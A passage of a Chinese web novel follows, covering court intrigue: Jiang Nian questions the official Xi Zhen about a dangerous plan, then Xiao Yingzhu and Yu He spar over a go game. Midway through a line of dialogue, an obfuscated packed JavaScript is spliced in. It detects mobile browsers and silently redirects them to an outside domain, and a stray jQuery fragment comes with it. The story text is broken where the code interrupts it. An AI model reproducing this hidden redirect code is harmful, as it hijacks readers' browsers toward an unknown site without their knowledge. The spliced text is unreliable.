“姜小姐所及言是。”
从怅然中回过神,溪枕眼底忽现出的情绪如潮水般褪去,弯着眼又坐回了椅上。
“方才见小姐在下官的面容上停留了片刻,莫非是下官脸上有何东西?”
溪枕话题跳转地太快,姜念稍停片刻,才笑着接话道:“溪官人妆容雅致,玄色点染,宛若丹青妙笔,令民女不禁驻足凝眸。”
他的眼尾处点着深红,看起来媚态至极,偏偏五官鲜妍,气质神秘又阴柔,时常让人想不由靠近。
可惜这幅漂亮的皮囊下,并未有颗那么纯良友好的心。
否则便不会明摆着来历不明的身份,还能在文职长史这个职位上坐这么久了。
花草茶的清香从茶盖下缕缕透出,勾勒出白烟,飘散于空中。
溪枕目光在那缕白烟上停留片刻,抬眼朝姜念柔和笑笑:“是么?看来下官还与姜小姐有些共同语言。”
平日里见到的美男子虽多,各有千秋,但极擅长打扮的,也就只有眼前这一个。
萧映竹向来从简,无心停留在这上边。
艾同她的便宜家属秦览一样,对打扮没什么需求。
而桃小姐……
在宗门时,桃郁穿得皆是宗门的衣服。
没看出有多少打扮的喜好。
姜念眉眼微弯,笑意温软:“官人说地一点也不错,先前还想同官人探讨香薰呢。”
接话接地太顺,待香薰一词出来,姜念才想起萧映竹为她备的那瓶香,最终也不是亲自交到她手里。
察觉到她面容上一闪而过的失神,溪枕将倒好的花草茶往她那边推了推。
“姜小姐可是在这香薰上遇到了什么烦心事?”
“……”收回莫名感到失落的思绪,姜念摇摇头,接过了那盏茶,“怎么会?等民女研制出新香,必当先奉与给官人一观。”
短暂的休憩闲谈过去,剩下的点心残渣与花茶皆被侍从换下,待旁人离开小花园后,姜念才继续道:
“我们继续方才的话题吧,官人说会亲自参与……是哪一日参与?”
如果可以,姜念自是希望可以援助的旁人能在她进醉花楼的第一日便行动。
毕竟她实在觉得自己的身手不靠谱。
届时人生地不熟,被困到用脑力以然无法逃脱,只能用战斗力去拼的情况下。
若人手不足,支援的墨卿,又或是其他暗卫被神女的手下拦截的话……
那便生死难料了。
如果可以的话,姜念不想死在神女的手下。
这样穿越过来,没有搞清任何事,也没做完任何事,就这样死地不明不白的,她接受不了。
但矫健的身手也不是一日两日便能练成的。
智力尚余而体力不足的情况下,只能依靠旁人的支助了。
把生命放到别人手里的感觉真的一点也不好受。
溪枕看了她片刻,轻轻叹息道:“并非是无路可走。”
“若真到了鱼死网破之地,你还能用你的辩论来拖延一点时间。”
“神女为人虽捉摸不定,性情过激,会有些歇斯底里,但若是有仓鼠可怜地向她求情的话……这点倾听的耐心,她还是会有的。”
“所以没必要担心,姜小姐。”
溪枕偏爱芝麻酥,吃了一个后,又从碟里拿起了另一个,放入了口中,含糊不清道:“实在不行……我想萧的暗卫也不是吃素的。”
“可不要把他们当做摆设看。”
没有提供任何能令人安心信息·还一旁加重姜念心底负担地溪枕将想说地话说完,随即笑盈盈地拍掉了指尖上沾着的碎末,歪头开口结束了这个话题。
“下官所能回答的也就这些了,若尚有困惑未解决……还是去问问那位‘神通广大’的士兵吧。”
他悠悠地将话说完,看向她的视线都深邃了不少,笑靥如花的神情与他鲜妍而忽显锋锐地五官形成鲜明对比,愈发显得意味深长。
和萧映竹认识这么久,姜念早已摸清了能和萧映竹共处的人都是什么人——
若非是可以说的事,能让人一看便知。
其余不愿说的,再怎么想探清,也不能从对方的神色上看到一丝痕迹。
这种难以捉摸感,姜念已经彻底熟悉了。
不打算在溪枕这儿硬碰硬,她随即将本子收起,放回到了包里,看了眼天色,随意开口问道:“那名士兵,民女今日可否在此得见?”
未待溪枕搭话,不知从花园内哪个角落里冒出来地差役替他答了话。
“将军已经交代,士兵在驿舍候命,小的特来为您引路。”
溪枕转而笑了笑,放下了手中的茶盏:“姜小姐请慢行。”
“……多谢关照,民女告辞。”
姜念转头看了溪枕一眼,笑意柔和,稍一示意后,转身跟上了差役的步伐。
刚告别一个谜语人,就要毫不停歇的去见下一个谜语人。
想到上次和那士兵对话的场景,以及他说话留一半藏一半的习惯,姜念顿觉头痛。
从绿葱葱地花园穿过,目光触及院落大门外所对着的驿舍,她轻轻叹了口气。
只能尽力地从士兵那儿套话点有用的消息了。
和这类人相处就算不长,也容易疲乏。
莫名的,姜念有点儿怀念最初在屏州试探萧映竹的时候了。
当时的情形和现在相比,简直是小儿科过家家,即便试探失败了也不需要搭上性命。
她到底是如何心甘情愿地走到这一步的?
或许从主动向姜父提出接手梁都药肆时,心底就默认这场烂摊子由她来了结吧。
不然也不会想着去合作,接着……
拉扯出这一连串套娃事件。
—
黑子与白子在棋盘上纠缠厮杀,互不相让。
待最后一子落定后,窗外天色已近正午。
蝉鸣声声,萧映竹漫不经心地将那枚白子拿起,放到了棋盘的一侧。
“于指挥使原先寸步不让,却在此处迟疑片刻,莫非心中有所触动,联想起了何事?”
他声音散漫,似是无意一问,并不在意对方是否会认真回答。
于鹤目光冷淡地落在棋盘那一块的空缺上,半晌后移开了眼。
“萧国公猜测到了也无妨。”
“是吗?”
萧映竹收拾棋局的手一顿,饶有兴致地掀起眼皮,看向于鹤:“纵他日相逢她本人,你也亦能心如止水,不用私情论事?”
绿叶下,细密的阳光雨落在了窗纸上,深深浅浅的树影透照到了几案上,层层叠叠。
于鹤将搁置在一旁的棋盒盖盖上,语调无波澜。
“公务之际,岂能容私情掺杂?此乃立身之本,为政之纲。”
他对上了对方透来的冷然探究视线,声音平静。
“某以为,萧国公应当为洞悉此事第一人。”
“——
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15425718|145522||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
莫非萧国公还有别的看法?”
猝不及防被于鹤提及当年在京城发生之事,这问句相当于是揭了萧映竹的老底。
窗纸上太阳雨的闷击声阵阵,被戳重了心事,萧映竹眉眼神色也未变,唇边笑意不见眼底。
“于指挥使心里自有明镜,又何须萧某多言?”
“无论身处何地,他耳目如影随形,时刻检查你一言一行。”
“萧某今日之言或许多余,但愿于指挥使不见为怪。”
这话比先前刚到苍郡时的语气稍淡,但话中的犀利却未减少,反而徒增了些许。
——若非是下了棋,发现了自己本无心去关注的地方。
萧映竹也不会闲来没事,去多言这一句。
只不过经过方才几个来回也有些收获,他是把于鹤心中所想给探明了。
圆润的黑子透出他冶艳的眉眼,萧映竹垂下的眉眼无一丝情绪,漆黑的颜色在指尖相衬一瞬,便落进了深深的棋盒里。
几案上的棋盘没过多久就恢复了下棋前的原样,细密的雨丝透过窗棂支起的空缺飘洒进室内,落到收拾地整洁的几案上。
只不过即便眼前没有任何能再让他们争执不下的对局,话题也远未结束。
心照不宣地对视后,萧映竹眉眼疏淡了些,另起了一个比起方才私人感情纠纷外,更为重要的事。
“他的身份可查清楚了?”
于鹤微微摇了摇头,眸底罕见地掠过一丝不解。
“原先是为孟尧部下不错,但到底如何自然而然变幻成某的下属还尚未查清。”
萧映竹对这个答案毫不意外。
从姜念开口说出士兵和她有些关联后,他便猜测到这士兵恐怕也是不存在于这时代之人。
只不过需要借着他人的躯体,才能在这里行走自如。
……和姜念的本身一样。
想到先前来苍郡前,云岫递给他的那份情报上所写之事,萧映竹隐去了眼底的暗意。
“无妨,更为重要的是于指挥使既然容其了他在此休憩,是不是亦能说明——你允许了他的存在?”
会有人莫名其妙的信任一个来历不明,身份不明,神出鬼没毫无踪迹如鬼魅之人吗?
哪怕他料事如神,常人若遇到,询问起话来也会心怀忐忑。
更别说是在这权谋对弈局上厮杀已久的诸位。
言谈上,秦览同他一般,只是明面上赞同了姜念的观点。
但不必明说,姜念本人也对那名士兵的来历颇为忌惮。
于鹤垂着眼,平静地从棋盒中执起白子,落到了小目上。
“庭院深深难免草木丛生,若有清道夫前来修剪整理,即便是性情最为冷清之人,亦会以礼相待,赠予对方所需之物。”
“何况某所能给的馈赠,也只不过是一间住所罢了。”
来去自如,遵循自然万物之意。
这是他操守无数次战役后,得出来的结论。
萧映竹捻着黑子,丝毫不停顿地在小目旁侧落下了一子。
“是么?那于指挥使所以为,谁是能控制他之人?”
“错失先机,即便地基再牢,也难以得胜。”
于鹤神情清冷,不紧不慢地拿出白子,按着自己的步调继续前行:“正如萧国公所言,因此,某也以为这次的想法与萧国公毫无二致。”
“既不激进,亦不保守之人……于诸位之中,或许只有姜小姐尚可占一席之地。”